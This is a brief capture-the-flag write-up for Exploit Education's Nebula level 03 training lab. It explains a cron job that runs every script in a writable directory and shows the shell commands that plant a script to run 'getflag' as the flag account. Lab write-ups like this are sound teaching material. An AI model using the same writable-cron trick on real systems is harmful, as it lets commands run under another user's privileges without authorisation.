Exploit-Education Nebula Level 03

Exploit Education Level 3

Challenge

Check the home directory of flag03 and take note of the files there. There is a crontab that is called every couple of minutes. Crontab is a service that run periodically. In this example the crontab executes the contents of any file inside crontab.d directory

Vulnerability

We can run any commands by writing the commands to a file in the crontab directory and writing the output to a file

level03@nebula:echo 'getflag >>/tmp/flag.txt' > run.sh
level03@nebula:/tmp$ ls
flag.txt  VMwareDnD  vmware-root
level03@nebula:/tmp$ cat flag.txt
You have successfully executed getflag on a target account

Solved